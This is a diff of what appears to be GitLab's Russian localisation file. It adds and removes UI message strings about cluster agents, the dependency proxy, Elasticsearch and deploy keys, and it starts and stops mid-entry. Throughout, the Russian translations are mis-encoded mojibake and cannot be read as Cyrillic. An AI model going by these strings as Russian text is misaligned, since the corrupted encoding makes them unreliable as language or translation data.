msgstr "ПуÑтое значение в поле Пользователь Gitlab добавит полное Ð¸Ð¼Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ FogBugz (напр., \"От Ивана Кузнецова\") в опиÑание вÑех обÑуждений и комментариев, а также ÑвÑжет и/или назначит Ñти обÑÑƒÐ¶Ð´ÐµÐ½Ð¸Ñ Ð¸ комментарии Ñ Ñоздателем проекта."
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr "Произошла ошибка"
@@ -3772,6 +3828,9 @@ msgstr "Произошла ошибка при извлечении данных
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr "Произошла ошибка при предварительном проÑмотре объекта"
@@ -3931,6 +3990,9 @@ msgstr "Произошла ошибка при загрузке вÑех файÐ
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr "Произошла ошибка при загрузке подпиÑей коммита"
@@ -4115,6 +4177,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr "Пример, показывающий, как иÑпользовать Jsonnet Ñ Ð´Ð¸Ð½Ð°Ð¼Ð¸Ñ‡ÐµÑкими дочерними Ñборочными линиÑми GitLab"
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr "ОбÑуждение уже ÑущеÑтвует"
@@ -4154,6 +4219,9 @@ msgstr "Проанализировать рецензируемую верÑию
msgid "Analyze your dependencies for known vulnerabilities."
msgstr "Ðнализируйте ваши завиÑимоÑти на предмет извеÑтных уÑзвимоÑтей."
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -4196,9 +4264,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr "Любые зашифрованные токены"
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr "Ð›ÑŽÐ±Ð°Ñ Ð¼ÐµÑ‚ÐºÐ°"
@@ -4211,9 +4276,6 @@ msgstr ""
msgid "Any namespace"
msgstr "Любое проÑтранÑтво имен"
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr "ID приложениÑ"
@@ -4272,6 +4334,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4282,6 +4347,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4704,6 +4772,9 @@ msgstr "Ð’Ñ‹ уверены что дейÑтвительно хотите удÐ
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr "Ð’Ñ‹ уверены, что хотите удалить Ñто уÑтройÑтво? Это дейÑтвие не может быть отменено."
@@ -4909,6 +4980,9 @@ msgstr "Ðазначить"
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr "ВзÑÑ‚ÑŒ на ÑÐµÐ±Ñ Ñти обÑуждениÑ"
@@ -5010,6 +5084,9 @@ msgstr "Ðе удалоÑÑŒ прикрепить файл."
msgid "Audit Events"
msgstr "Ðудит Ñобытий"
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5658,6 +5735,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5737,6 +5817,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5746,12 +5829,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5764,6 +5856,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5859,6 +5954,9 @@ msgstr "Развернуть"
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5871,6 +5969,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr "ПроÑмотр облаÑти"
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -6162,10 +6263,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -6174,6 +6278,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6421,6 +6528,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr "URL обратного вызова"
@@ -6715,12 +6825,12 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "ChangeTypeAction|Cherry-pick"
msgstr "Подобрать"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
@@ -6769,9 +6879,6 @@ msgstr "ИзменениÑ"
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6784,6 +6891,9 @@ msgstr "ИзменÑет название на \"%{title_param}\"."
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6847,10 +6957,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6914,6 +7024,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6930,9 +7043,6 @@ msgstr "план %{selectedPlanText}"
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -7131,9 +7241,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr "Выберите файл"
@@ -7431,6 +7538,9 @@ msgstr ""
msgid "Clients"
msgstr "Клиенты"
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr "Клонировать"
@@ -7473,6 +7583,9 @@ msgstr "Закрыть"
msgid "Close %{issueType}"
msgstr "Закрыть %{issueType}"
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr "Закрыть %{tabname}"
@@ -7515,12 +7628,6 @@ msgstr "Закрыто: %{closed}"
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr "КлаÑтер"
@@ -7542,16 +7649,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7563,9 +7685,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7575,6 +7718,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7584,28 +7730,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7617,6 +7766,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7629,60 +7781,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7824,15 +7994,18 @@ msgstr "ТребуетÑÑ Ð½Ð°Ð·Ð²Ð°Ð½Ð¸Ðµ клаÑтера."
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7959,9 +8132,6 @@ msgstr "Получение проектов"
msgid "ClusterIntegration|Fetching zones"
msgstr "Получение зон"
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "Ð˜Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ð¸Ñ Ñ GitLab"
@@ -8007,12 +8177,6 @@ msgstr "ЭкземплÑÑ€ клаÑтера"
msgid "ClusterIntegration|Instance type"
msgstr "Тип ÑкземплÑра"
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -8034,9 +8198,6 @@ msgstr "Ð˜Ð¼Ñ ÐºÐ»Ð°Ñтера Kubernetes"
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr "ВерÑÐ¸Ñ Kubernetes"
@@ -8337,6 +8498,9 @@ msgstr "SSL-Ñертификат Kubernetes, иÑпользуемый Ð´Ð»Ñ Ð°Ñ
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr "URL, иÑпользуемый Ð´Ð»Ñ Ð´Ð¾Ñтупа к API Kubernetes."
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8391,6 +8555,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8448,9 +8615,6 @@ msgstr ""
msgid "Code"
msgstr "Код"
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr "Покрытие кода: %{coveragePercentage}%{percentSymbol}"
@@ -8487,6 +8651,9 @@ msgstr "Владельцы кода"
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr "Сниппет Ñкопирован. Ð’Ñтавьте его в нужное меÑто YAML-файла."
@@ -8914,6 +9081,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8926,6 +9099,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr "ÐаÑтройка траÑÑировки"
@@ -8965,9 +9141,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9685,7 +9858,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9841,6 +10014,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr "Создать Ðовый каталог"
@@ -10000,6 +10176,9 @@ msgstr "Создать релиз"
msgid "Create requirement"
msgstr "Создать требование"
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr "Создать Ñниппет"
@@ -10033,9 +10212,6 @@ msgstr "У Ð²Ð°Ñ Ð½ÐµÑ‚ Ñ€Ð°Ð·Ñ€ÐµÑˆÐµÐ½Ð¸Ñ Ð½Ð° Ñоздание групп."
msgid "CreateTag|Tag"
msgstr "Тег"
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr "Ñоздать перÑональный токен доÑтупа"
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -10255,6 +10431,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr "Ð’Ñ€ÐµÐ¼ÐµÐ½Ð½Ð°Ñ Ð·Ð¾Ð½Ð° Cron"
@@ -10647,6 +10853,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr "Панель управлениÑ"
@@ -11296,6 +11505,9 @@ msgstr "Удалить комментарий"
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr "Удалить Поток ценноÑти"
@@ -11317,6 +11529,9 @@ msgstr "Удалить комментарий"
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11371,9 +11586,6 @@ msgstr ""
msgid "Delete variable"
msgstr "Удалить переменную"
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11419,6 +11631,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr "Удаленные проекты не могут воÑÑтановлены!"
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr "Идет удаление"
@@ -11542,6 +11760,9 @@ msgstr "ПрокÑи завиÑимоÑтей"
msgid "Dependency Scanning"
msgstr "Сканирование ЗавиÑимоÑтей"
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11557,19 +11778,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11815,9 +12042,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -12051,7 +12275,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12324,6 +12548,9 @@ msgstr "Ð˜Ð¼Ñ ÐºÐ°Ñ‚Ð°Ð»Ð¾Ð³Ð°"
msgid "Disable"
msgstr "Отключить"
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12493,6 +12720,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr "Домен"
@@ -12583,9 +12813,6 @@ msgstr "ГолоÑа \"против\""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12619,6 +12846,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12697,9 +12927,15 @@ msgstr ""
msgid "Edit comment"
msgstr "Редактировать комментарий"
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr "Изменить опиÑание"
@@ -12793,6 +13029,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr "ИндекÑÐ°Ñ†Ð¸Ñ Elasticsearch начата"
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12808,6 +13047,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr "ПуÑто. Выберите проÑтранÑтва имен Ð´Ð»Ñ Ð¸Ð½Ð´ÐµÐºÑации."
@@ -12829,6 +13071,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12928,9 +13173,6 @@ msgstr "Отправить от автора коммита"
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12982,6 +13224,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -13003,6 +13248,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -13075,6 +13323,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -13249,6 +13500,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13334,16 +13591,13 @@ msgstr "Задание: %{job}"
msgid "EnvironmentsDashboard|More actions"
msgstr "Дополнительные дейÑтвиÑ"
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr "Удалить"
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr "Панель ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ñредами предоÑтавлÑет Ñводку ÑоÑтоÑÐ½Ð¸Ñ Ð¾ÐºÑ€ÑƒÐ¶ÐµÐ½Ð¸Ð¹ каждого проекта, Ð²ÐºÐ»ÑŽÑ‡Ð°Ñ ÑтатуÑÑ‹ Ñборочной линии и оповещений."
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
